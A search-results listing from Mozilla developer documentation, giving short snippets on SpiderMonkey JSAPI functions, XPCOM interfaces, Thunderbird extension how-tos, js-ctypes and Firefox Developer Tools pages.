JS_GetRuntimePrivate
access a jsruntime field for application-specific data.
... data void * (in js_setruntimeprivate) pointer to application-defined data to be associated with the runtime rt.
... description each jsruntime has a field of type void * which the application may use for any purpose.
...And 2 more matches
JS_Init
this article covers features introduced in spidermonkey 31 initializes the js engine so that further operations can be performed.
...once this method has succeeded, it is safe to call js_newruntime and other jsapi methods.
... this method must be called before any other jsapi method is used on any thread.
...And 2 more matches
JS_MakeStringImmutable
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster.
... in both cases, the javascript engine may change the fields of the jsstring.
...And 2 more matches
JS_NewContext
javascript objects, functions, strings, and numbers may be shared among the contexts in a jsruntime, but they cannot be shared across jsruntimes.
...in a debug build, large chunk sizes can degrade performance dramatically.
... the application must call js_destroycontext when it is done using the context.
...And 2 more matches
JS_NewNumberValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
... the result is an integer jsval if d can be stored that way.
... some space for the new value may be allocated from the js garbage collection heap.
...And 2 more matches
JS_NewObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
... the jsclass may be used to override low-level object behavior, including such details as the physical memory layout of the object and how property lookups are done.
... if clasp is non-null, the caller must ensure that the jsclass remains alive throughout the lifetime of the new object, including the garbage collection cycle that finally frees it.
...And 2 more matches
JS_ReportError
this function can also raise a javascript exception which a currently executing script can catch.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...the resulting error message is passed to the context's jserrorreporter callback, if any.
...And 2 more matches
JS_ReportPendingException
forward the current pending exception in a given jscontext to the current jserrorreporter callback.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...on success, it clears the exception as though by calling js_clearpendingexception and returns true.
...And 2 more matches
JS_SetArrayLength
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the number of elements.
...you can call js_setarraylength either to set the number of elements for an array object you created without specifying an initial number of elements, or to change the number of elements allocated for an array.
...And 2 more matches
JS_SetICUMemoryFunctions
sets the memory allocation and deallocation functions used by the icu internationalization library.
... syntax bool js_seticumemoryfunctions(js_icuallocfn allocfn, js_icureallocfn reallocfn, js_icufreefn freefn); type description allocfn js_icuallocfn an allocation function.
... reallocfn js_icureallocfn a reallocation function.
...And 2 more matches
JS_SetPrincipalsTranscoder
set the runtime-wide principals transcoder callback.
... this function is deprecated.
... in spidermonkey 1.8.1 or later, use js_setruntimesecuritycallbacks instead.
...And 2 more matches
JS_SetPrivate
description if a jsclass has the jsclass_has_private flag, each object of that class has a private field of type void * which the application may use for any purpose.
...memory management of this field is the application's responsibility.
...in particular: if you allocate memory for private data, you must free it, typically in a jsclass.finalize callback.
...And 2 more matches
JS_SuspendRequest
suspends the calling thread's current request, if any, to allow the thread to block or perform time-consuming calculations.
... savedepth jsrefcount (only in js_resumerequest) the valued returned by the matching js_suspendrequest call.
... description in js_threadsafe builds, when a multi-threaded application is in a request but needs to block or perform lengthy computation that can race safely with the garbage collector, it should call js_suspendrequest before the time-consuming operation and js_resumerequest after.
...And 2 more matches
JS_ValueToObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if v is a native javascript object, this calls the object's valueof method, if any.
... in any case, the result is not guaranteed to be the same object as v.
...And 2 more matches
JS_YieldRequest
syntax void js_yieldrequest(jscontext *cx); name type description cx jscontext * the jscontext that is currently in a request on the calling thread.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...a program can call this function periodically to ensure that a long-running request does not block garbage collection indefinitely.
...And 2 more matches
Zest
the core language does not define any graphical representation - that is expected to be defined by the tools that integrate zest.
... it is completely free, open source and can be included in any tool whether open or closed, free or commercial.
... zest is still at a very early stage of development, but is has been made available so that anyone can play around with it.
...And 2 more matches
extIPreferenceBranch
for example, an extension's preferences has a root of "extensions.extensionid.", while the application-level preferences have an empty root.
...extipreferencebranch is defined in toolkit/components/exthelper/extiapplication.idl.
... implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
...And 2 more matches
Components.interfaces
it reflects only those interfaces which have been designated in their .idl description as scriptable, that is the interfaces which xpconnect is capable of reflecting into javascript.
...this includes nsisupports.queryinterface(), the optional parameter accepted by nsijscid.getservice(), nsijscid.createinstance() when called from javascript, and nsiclassinfo.getinterfaces().
... the properties of the components.interfaces object can be enumerated using a for...in loop.
...And 2 more matches
Components.utils.evalInSandbox
you can also find firefox 3.5 specific information in using json in firefox.
...in the constructor you define the security principal for code running in the sandbox, and can make various properties available to code running in the sandbox.
... you can import functions or objects into the sandbox simply by assigning them to the sandbox object.
...And 2 more matches
Components.utils.evalInWindow
the result is structured cloned back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably.
...even so, while the code is being evaluated it is in the content's context, so the caller has to be prepared for the possibility that the content could have redefined behavior (for example, a setter in the script may have been redefined to do something unexpected).
...this does impose some restrictions on the sorts of things that can be returned: in particular, the result can't contain any functions, because functions can't be structured-cloned.
...And 2 more matches
Components.utils.unload
this can be particularly handy with restartless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.
... once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference.
...you should not unload modules that are part of the application (anything under resource://gre/ or resource:/// or resource://app/) as these may be in use by other extensions and the application.
...And 2 more matches
Components.utils.unwaiveXrays
undo a previous call to components.utils.waivexrays(), restoring xray vision for the caller.
...privileged code can waive xray vision using waivexrays, and it will then see expandos.
... it can then use unwaivexrays to restore its xray vision for the object.
...And 2 more matches
nsIRegistry
rs.openwellknownregistry(2); // 2 signifies the applicationregistry, if i understand right var st = rs.enumerateallsubtrees(2); // 2 signifies "common", see libreg source (reg.h) for info now you have an nsienumerator that can report the subtrees.
... try { st.first(); do { var data = st.currentitem(); if( data instanceof ci.nsiregistrynode ) print("nsiregistrynode: " + data.nameutf8 + " (" + data.key + ")"); st.next(); } while( components.lastresult == 0 ); } catch(e) {} now, the output is something like: profiles (344) profiles/default (530) profiles/foo (1046) profiles/bar (1518) the number inside the parenthesis is the "key." you can use this key with the rest of the nsiregistry api (see mxr).
... now, i know from visual inspection that there's a key called "directory" for each profile.
...And 2 more matches
HOWTO
in all callbacks where your script is finished, i.e.
... both success and error callbacks, put: gscriptdone = true; if you forget some condition where your script should exit but you don't add this statement, your script will hang (busy wait).
...e.g., you use: components.utils.import("resource://app/modules/gloda/log4moz.js"); however, you get (for that particular line, which is the first import): uncaught exception: [exception...
...And 2 more matches
xpcshell
it is a console application that lets you run javascript code.
... $ locate run-mozilla.sh /usr/lib/firefox-0.10.1/run-mozilla.sh /usr/lib/thunderbird-0.9/run-mozilla.sh /usr/local/mozilla/run-mozilla.sh /opt/mozilla/run-mozilla.sh /root/.trash/mozilla/run-mozilla.sh just pick one, cd over there, and run-mozilla.sh xpcshell, if it's present.
... (however, it might not be there if you have a non-debug version of firefox, mozilla, thunderbird, etc.) $ cd /opt/mozilla $ ./run-mozilla.sh ./xpcshell js> execute xpcshell from window the built xpcshell.exe can't be executed under the mozilla build shell(bash).
...And 2 more matches
Alloc
« xpcom api reference summary the alloc function allocates a block of memory of a particular size.
... static void* alloc( size_t asize ); parameters asize [in] specifies the size in bytes of the block of memory to allocate.
... return values this function is infallible, therefore guaranteed to return a pointer to the newly allocated buffer.
...And 2 more matches
XPCOM glue classes
this class is typically used to represent ascii or utf-8 character arrays.nsacstring (external)class declarationnsacstring_internalclass declarationnsadoptingcstringclass declarationnsadoptingstringclass declarationnsastringthe nsastring abstract class represents a character string composed of double-byte storage units.
... this class is typically used to represent unicode character arrays.nsastring (external)class declarationnsastring_internalclass declarationnsautorefnsautoref<t> is a template class implementing an object that holds a handle to a resource that must be released, typically on destruction of the object.</t>nsautoreftraitsnsautoreftraits<t> is a template class describing traits of resources held by objects of class nsautoref<t> and/or nscountedref<t>.</t>nsautostringclass declarationnsautostring (external)class declarationnscautostringclass declarationnscautostring (external)class declarationnscomptrthis utility class simplifies managing xpcom interface references from c++ code.nscountedrefnscountedref<t> is a template class implementing an object that takes a strong reference to a reference-cou...
...nted resource that must be released, typically on destruction of the object.</t>nscstringclass declarationnscstring externalclass declarationnscstringcontainer (external)class declaration nscstringencodingthe nscstringencoding enumeration describes the set of character encodings understood by the ns_cstringtoutf16 and ns_utf16tocstring functions.nsdependentcstringclass declarationnsdependentcstring externalclass declarationnsdependentcsubstringclass declarationnsdependentcsubstring externalclass declarationnsdependentstringclass declarationnsdependentstring externalclass declarationnsdependentsubstringclass declarationnsdependentsubstring externalclass declarationnsembedcstringthe nsembedcstring concrete class provides a way to construct a nsacstring object that allocates null-terminated...
...And 2 more matches
IAccessibleValue
other-licenses/ia2/accessiblevalue.idlnot scriptable this interface gives access to a single numerical value.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) the iaccessiblevalue interface represents a single numerical value and should be implemented by any class that supports numerical value like progress bars and spin boxes.
...typical types are long and double.
...And 2 more matches
amIWebInstallListener
methods onwebinstallblocked() called when the website is not allowed to directly prompt the user to install add-ons.
... return value true if the caller should start the installs.
... onwebinstalldisabled() called when installation by websites is currently disabled.
...And 2 more matches
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable provides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcallback callback); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the frequency of each color.
...it avoids the background color if it can be discerned and ignores sufficiently transparent colors.
...void findrepresentativecolor( in nsiuri imageuri, in mozirepresentativecolorcallback callback ); parameters imageuri a uri pointing to the image - ideally a data: uri, but any scheme that will load when setting the src attribute of a dom img element should work.
...And 2 more matches
mozIThirdPartyUtil
obtain the bottommost nsidomwindow, and its same-type parent if it exists, from the channel's notification callbacks.
...this represents the case where a toplevel load is occurring and the window's uri has not yet been updated.
...if they can be determined, and the base domains match, the request is defined as first party.
...And 2 more matches
nsIAccessibilityService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsiaccessibleretrieval method overview nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports aframe); nsiaccessible createhypertextaccessible(in nsisupports aframe); nsiaccessible createhtmlbraccessible(in nsisupports aframe); nsiaccessible createhtmlbuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlaccessiblebymarkup(in nsiframe aframe, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible...
... createhtmlliaccessible(in nsisupports aframe, in nsisupports abulletframe, in astring abullettext); nsiaccessible createhtmlcheckboxaccessible(in nsisupports aframe); nsiaccessible createhtmlcomboboxaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlhraccessible(in nsisupports aframe); nsiaccessible createhtmlimageaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobjectframeaccessible(in nsobjectframe aframe); nsiaccessible create...
...eakreference apresshell); nsiaccessible createhtmltableaccessible(in nsisupports aframe); nsiaccessible createhtmltablecellaccessible(in nsisupports aframe); nsiaccessible createhtmltableheadaccessible(in nsidomnode adomnode); nsiaccessible createhtmltextaccessible(in nsisupports aframe); nsiaccessible createhtmltextfieldaccessible(in nsisupports aframe); nsiaccessible createhtmlcaptionaccessible(in nsisupports aframe); nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in nsipresshell apresshell, in...
...And 2 more matches
nsIAccessibleTable
boolean iscolumnselected(in long columnindex); boolean isprobablyforlayout(); boolean isrowselected(in long rowindex); void selectcolumn(in long columnindex); void selectrow(in long rowindex); void unselectcolumn(in long columnindex); void unselectrow(in long rowindex); attributes attribute type description caption nsiaccessible the caption accessible for the table.
... for example, html:caption element of html:table element.
... iscellselected() return a boolean value indicating whether the specified cell is selected.
...And 2 more matches
nsIBinaryInputStream
this might be used, for example, to implement network protocols or to read from architecture-neutral disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... exceptions thrown ns_error_failure if it can't read alength bytes.
... exceptions thrown ns_error_failure if it can't read alength bytes.
...And 2 more matches
nsICRLInfo
security/manager/ssl/public/nsicrlinfo.idlscriptable information on a certificate revocation list (crl) issued by a certificate authority (ca).
... lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale.
... nextupdatelocale astring nextupdate formatted as a human readable string formatted according to the environment locale.
...And 2 more matches
nsIDOMGeoPositionAddress
dom/interfaces/geolocation/nsidomgeopositionaddress.idlscriptable this interface describes the geographical address of a location, including street, city, and country information, for example.
... this information may or may not be available, depending on the geolocation service being used.
... countrycode obsolete since gecko 11 domstring removed in firefox 11, since it isn't defined in the specification; use country instead.
...And 2 more matches
nsIDirectoryService
the xpcom directory service implements this interface to provide support for a variety of well-known file and directory locations.
...this method must be called before an nsidirectoryservice instance can be used.
... in the case of the xpcom directory service, this method is called as part of xpcom initialization.
...And 2 more matches
nsIDownloadManagerUI
constants constant value description reason_user_interacted 0 when opening the download manager user interface, this value indicates that it's being done at the user's request.
... reason_new_download 1 when opening the download manager user interface, this value indicates that the user interface is being displayed because a new download is being started.
... methods getattention() calls attention to the download manager's user interface if it's already open.
...And 2 more matches
nsIEditorIMESupport
void getquerycaretrect(in nsquerycaretrecteventreplyptr areply); native code only!
...void getpreferredimestate( out unsigned long astate ); parameters astate native code only!getquerycaretrect obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0)this feature is obsolete.
...get the query caret rect.
...And 2 more matches
nsIEventListenerInfo
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsisupports getdebugobject(); astring tosource(); attributes attribute type description allowsuntrusted boolean indicates whether or not the event listener allows untrusted events.
... capturing boolean indicates whether or not the event listener is in capture mode.
... insystemeventgroup boolean indicates whether or not the event listener is in the system event group.
...And 2 more matches
nsIFileInputStream
close_on_eof 1<<2 if this is set, the file will close automatically when the end of the file is reached.
...(the file will only be reopened if it is closed for some reason.) defer_open 1<<4 if this is set, the file will be opened (i.e., a call to pr_open() done) only when we do an actual operation on the stream, or more specifically, when one of the following is called: seek() tell() available() read() readline() defer_open is useful if we use the stream on a background thread, so that the opening and possible stating of the file happens there as well.
... note: using this flag results in the file not being opened during the call to init.
...And 2 more matches
nsIFrameLoader
method overview void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in l...
...this can be used to decide what operations may or may not be allowed on the loader's docshell.
... void activateframeevent( in astring atype, in boolean capture ); parameters atype the event type for which to enable forwarding.
...And 2 more matches
nsIHttpActivityObserver
if this is false, the observeactivity() method should not be called.
...observers can look at request headers in aextrastringdata activity_subtype_request_body_sent 0x5002 the http request's body has been sent.
... methods observeactivity() called when activity occurs on the http transport.
...And 2 more matches
nsIINIParserFactory
method overview nsiiniparser createiniparser(in nsilocalfile ainifile); methods createiniparser() creates an ini parser, returning the nsiiniparser object that you can use to parse it.
... nsiiniparser createiniparser( in nsilocalfile ainifile ); parameters ainifile the ini file to parse.
... return value the nsiiniparser object you can use to parse the ini file.
...And 2 more matches
Using nsILoginManager
working with the login manager extensions often need to securely store passwords to external sites, web applications, and so on.
... to do so securely, they can use nsiloginmanager, which provides for secure storage of sensitive password information and nsilogininfo, which provides a way of storing login information.
...the hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an http/ftp authentication site login.
...And 2 more matches
nsIMsgDBView
typical examples are move or copy commands.
...this method will automatically expand the destination thread.
... navigatestatus() indicates if the passed motion type is currently valid.
...And 2 more matches
nsIMsgIdentity
attachvcard boolean should we attach a vcard by default?
... autoquote boolean should we automatically quote the original message?
... signature nsilocalfile the file containing the current signature.
...And 2 more matches
nsIMutableArray
xpcom/ds/nsimutablearray.idlscriptable this interface is a subclass of nsiarray that provides arrays that are mutable; that is, they can be altered programmatically.
...note also that null elements can be created as a side effect of insertelementat().
...any of these methods may throw ns_error_out_of_memory when the array must grow to complete the call, but the allocation fails.
...And 2 more matches
nsIPlacesView
rather, each view is responsible for translating its own selection format into one the controller can understand.
...this may be modified dynamically to update the view.
... methods getdragableselection() returns an array of selected nsinavhistoryresultnode objects that can be dragged from the view.
...And 2 more matches
nsIRequestObserver
netwerk/base/public/nsirequestobserver.idlscriptable this interface is used by various streams (such as nsichannel ) to indicate the start and end of a request.
... inherits from: nsisupports last changed in gecko 1.0 method overview void onstartrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods onstartrequest() called to signify the beginning of an asynchronous request.
... note: an exception thrown from onstartrequest has the side-effect of causing the request to be canceled.
...And 2 more matches
nsISeekableStream
a negative value causes seeking in the reverse direction.
... exceptions thrown ns_base_stream_closed if called on a closed stream.
... seteof() this method truncates the stream at the current offset.
...And 2 more matches
nsIServerSocketListener
the transport is in the connected state, and read/write streams can be opened using the normal nsitransport api.
... the address of the client can be found by calling the nsisockettransport.getaddress() method or by inspecting nsisockettransport.gethost(), which returns a string representation of the client's ip address, which may be either an ipv4 or an ipv6 address.
... inherits from: nsisupports last changed in gecko 1.7 method overview void onsocketaccepted(in nsiserversocket aserv, in nsisockettransport atransport); void onstoplistening(in nsiserversocket aserv, in nsresult astatus); methods onsocketaccepted() this method is called when a client connection is accepted.
...And 2 more matches
nsIStreamConverter
you can supply the service with a stream of type x and it will convert it to your desired output type and return a converted (blocking) stream to you.
...you can supply data directly to the converter by calling it's nsistreamlistener.ondataavailable() method.
... it will then convert that data from type x to your desired output type and return converted data to you via the nsistreamlistener you passed in by calling its nsistreamlistener.ondataavailable() method.
...And 2 more matches
nsISupportsPriority
in some cases, changing the priority of an object may be disallowed (resulting in an exception being thrown) or may simply be ignored.
...it can be modified to change the priority of the object.
... typical priority values are defined in the idl file as priority_highest ...
...And 2 more matches
nsIThreadPoolListener
the nsithreadpoollistener interface represents objects that listen to notifications generated by the nsithreadpool.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a new thread is created by the thread pool.
... the notification happens on the newly created thread.
...And 2 more matches
nsIUpdateChecker
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(in nsiupdatechecklistener listener, in boolean force); void stopchecking(in unsigned short duration); constants constant value description current_check 1 constant for the stopchecking() method indicating that only the current update check should be stopped.
... current_session 2 constant for the stopchecking() method indicating that all update checks during the current session should be stopped.
... any_checks 3 constant for the stopchecking() method indicating that all update checking should be stopped.
...And 2 more matches
nsIUploadChannel
the upload stream may only be set prior to the invocation of asyncopen on the channel.
... history here is that we need to support both streams that already have headers (for example, content-type and content-length) information prepended to the stream (by plugins) as well as clients (composer, uploading application) that want to upload data streams without any knowledge of protocol specifications.
...in the case of http, if this parameter is non-empty, then its value will replace any existing content-type header on the http request.
...And 2 more matches
nsMsgSearchAttrib
the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor.
... */ [scriptable, uuid(a83ca7e8-4591-4111-8fb8-fd76ac73c866)] interface nsmsgsearchattrib { const nsmsgsearchattribvalue custom = -2; /* a custom term, see nsimsgsearchcustomterm */ const nsmsgsearchattribvalue default = -1; const nsmsgsearchattribvalue subject = 0; /* mail and news */ const nsmsgsearchattribvalue sender = 1; const nsmsgsearchattribvalue body = 2; const nsmsgsearchattribvalue date = 3; const nsmsgsearchattribvalue priority = 4; /* mail only */ const nsmsgsearchattribvalue msgstatus = 5; const nsmsgsearchattribvalue to = 6; const nsmsgsearchattribvalue cc = 7; const nsmsgsearchattribvalue toorcc = 8; const nsmsgsearchattribvalue alladdresses = 9; const nsmsgsearchattribvalue location = 10; /* result list on...
...bvalue organization = 32; const nsmsgsearchattribvalue department = 33; // 34 - 43, reserved for ab / ldap; const nsmsgsearchattribvalue hasattachmentstatus = 44; const nsmsgsearchattribvalue junkstatus = 45; const nsmsgsearchattribvalue junkpercent = 46; const nsmsgsearchattribvalue junkscoreorigin = 47; const nsmsgsearchattribvalue label = 48; /* mail only...can search by label */ const nsmsgsearchattribvalue hdrproperty = 49; // uses nsimsgsearchterm::hdrproperty const nsmsgsearchattribvalue folderflag = 50; // uses nsimsgsearchterm::status const nsmsgsearchattribvalue uint32hdrproperty = 51; // uses nsimsgsearchterm::hdrproperty // 52 is for showing customize - in ui headers start from 53 onwards up until 99.
...And 2 more matches
NS_StringContainerInit
the internal buffer allocated by a nsstringcontainer is always null-terminated.
... with ns_stringcontainerinit, the coder is required to call ns_stringcontainerfinish when done with the nsstringcontainer object.
... therefore, it is generally better to use nsembedstring, to instantiate a nsastring object, since it automatically releases allocated memory when the object goes out of scope.
...And 2 more matches
Working with out parameters
adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call.
... these are so-called out parameters.
...after the call, this object will have a new property called value, which contains the out values.
...And 2 more matches
pyxpidl
pyxpidl requires a directory to cache certain information in.
... you can use a temporary directory or the current directory or whatever works best for you.
... generating c++ headers to generate c++ headers, use the header.py utility: sdkdir/sdk/bin/header.py --cachedir=<path> -o <outputfilename.h> <filename.idl> generating typelibs generating typelib files is done using the typelib.py utility: sdkdir/sdk/bin/typelib.py --cachedir=<path> -o <outputfilename.xpt> <filename.idl> comparing pyxpidl to xpidl this table provides a mapping of old xpidl options to pyxpidl.
...And 2 more matches
Buddy icons in mail
seth spitzer mozilla is now able to show icons in the message header area and the addressbook card pane.
... (see this document for info about that.) for the addressbook card pane, the icon will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for card>.gif if aim.session.screenname is not set, the icon will not appear.
... if there is no card matching the email, the icon will not appear.
...And 2 more matches
Access Window
the window object represents the window of the thunderbird application as well as the currently opened tabs.
... you can do many things with the window object, such as accessing the height or width of the window/tab or setting its title, registering timer events and much more.
...since window is a global variable you can use it directly from your javascript file.
...And 2 more matches
Use SQLite
be careful of multi-thread access to your database.
... this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments.
... you can see the schema for the attachments table in the code.
...And 2 more matches
customDBHeaders Preference
ing up extension development environment, you'll want to add the following preferences: // this allows you to add extra headers while composing messages user_pref("mail.compose.other.header", "x-superfluous,x-other,x-whatever"); // this enables the preservation of custom headers as incoming mail is processed user_pref( "mailnews.customdbheaders", "x-superfluous,x-other"); important: please pay careful attention to the case of the mailnews.customdbheaders preference.
... because comparisons are case-insensitive, all of the custom headers get set to lowercase when the data gets migrated to the message database.
...user_pref( "mailnews.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" tooltiptext="click to sort by superfluous" /> </treecols> </tree> </overlay...
...And 2 more matches
Using C struct and pointers
declaring a js-ctypes struct matching a c struct if we have a c structure like this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype o...
... the call to structtype() returns a ctype object, and we then apply the new operator to it to create a specific instance of this newly defined type - a javascript representation of the c struct.
... using c strings with js-ctypes a pointer to char in javascript is declared as follows: var str = ctypes.pointertype(ctypes.char); now imagine you call a c function that returns a c string and you want to modify the contents of this string.
...And 2 more matches
CType
there are several kinds of types: primitive types these are typical unstructured data, such as the predefined types listed in predefined data types.
... functiontype these represent callable c functions.
...this is the result of calling ctypes.pointertype(the_type).
...And 2 more matches
FunctionType
returntype a ctype indicating the type of the value returned by the function.
...argtypen zero or more ctype objects indicating the types of each of the parameters passed into the c function.
...this is the result of calling ctypes.pointertype(the_type).
...And 2 more matches
Library
you need to call this once you're done using the library.
...this can be used both for exported data symbols and for functions.
... cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
...And 2 more matches
Structures - Plugins
structure summary npanycallbackstruct contains information required during embedded mode printing.
... npprintcallbackstruct contains information required by the platformprint field of the npembedprint during embedded mode printing.
... npsaveddata block of instance information saved after the plug-in is deleted; can be returned to the plug-in.
...And 2 more matches
Browser Toolbox - Firefox Developer Tools
you can also open it with the ctrl + alt +shift + i key combination ( cmd + opt +shift + i on a mac).
... you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running.
... altogether you will have access to the following developer tools: debugger (note: if you want to debug a specific add-on that is restartless or sdk-based then try the add-on debugger.) console style editor performance network monitor page inspector accessibility inspector you can debug chrome: and about: pages using the normal debugger, just as if they were ordinary content pages.
...And 2 more matches
DOM Property Viewer - Firefox Developer Tools
opening the dom property viewer once enabled, you can open the dom property viewer by selecting "dom" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its ctrl + shift + w keyboard shortcut.
...it's just called "dom" in the toolbox.
...a lock icon indicates that a property is not writable.
...And 2 more matches
Search - Firefox Developer Tools
you can use the up and down arrows to move through the list, and return to open the file you want: searching within a file to search for a particular substring in the file currently loaded into the source pane, press control + f (or command + f on a mac) while the source pane is focused.
...the debugger will display the number of matches in the code and highlight each result: using the outline tab if you are searching for a specific function within the current javascript file, you can use the outline tab in the debugger to find it quickly.
...the default sort order is by the order in the file but you can simplify the search by click on "sort by name" at the bottom of the tab.
...And 2 more matches
Use watchpoints - Firefox Developer Tools
when debugging javascript code, it can be useful to know when properties on objects are read or modified.
...in the firefox debugger, this information can be provided by watchpoints.
... by setting a watchpoint on the property, rather than a breakpoint at a particular line, you can discover where that access occurs.
...And 2 more matches
Using the Debugger map scopes feature - Firefox Developer Tools
it’s also possible to inspect variables from the generated scopes (e.g., a bundle file with all concatenated module files).
... when you click the increment button on the page and hit the breakpoint, an additional section is added to the right-hand panel below the call stack to display variables mapped from the original scope, like this: as useful as this is, it would be even nicer if you could view the original code (before it was packages into the "bundle.js" file.
... right-click on the source code and the context menu now includes an option to jump to original location as shown below.
...And 2 more matches
Memory - Firefox Developer Tools
it then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.
... the basics opening the memory tool taking a heap snapshot comparing two snapshots deleting snapshots saving and loading snapshots recording call stacks analyzing snapshots the tree map view is new in firefox 48, and the dominators view is new in firefox 46.
... the aggregate view shows memory usage as a table of allocated types.
...And 2 more matches
Edit CSS filters - Firefox Developer Tools
you can edit these lines, remove them individually, or drag the effects to change the order in which they are applied.
... you can also add new effects by selecting an effect from the dropdown list at the bottom of the dialog.
... saving filter presets from firefox 42 onwards, you can also add filters to a list of presets.
...And 2 more matches
Toolbox - Firefox Developer Tools
by default, the window appears docked to the bottom side of the firefox window, but you can detach it if you like.
... this is what it looks like when it's docked: the window itself is split into two parts: a toolbar along the top, and a main pane underneath: note: since firefox 62, you can drag and drop tabs in the main toolbar of the toolbox to reorder your tools as you wish (bug 1226272).
... docking mode by default, the toolbox appears docked to the bottom of the browser window, but you can also dock it to the right-hand side of the window, or make it a standalone window, using buttons in the toolbar.
...And 2 more matches
Rich output - Firefox Developer Tools
the web console provides rich output for many object types, including the following: object array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded.
... click on the triangle, and the object will be expanded to show its contents: starting with firefox 67 (available now in firefox developer) you can use the arrow keys on your keyboard to navigate through objects displayed in the console.
... examining request details similar to examining object details, you can see the details about a network request directly in the console.
...And 2 more matches
ANGLE_instanced_arrays - Web APIs
"angle" just indicates that this extension has been written by the angle library authors.
... constants this extension exposes one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
... ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that multiple instances of the range of elements are executed, and the instance advances for each iteration.
...And 2 more matches
AbortController.signal - Web APIs
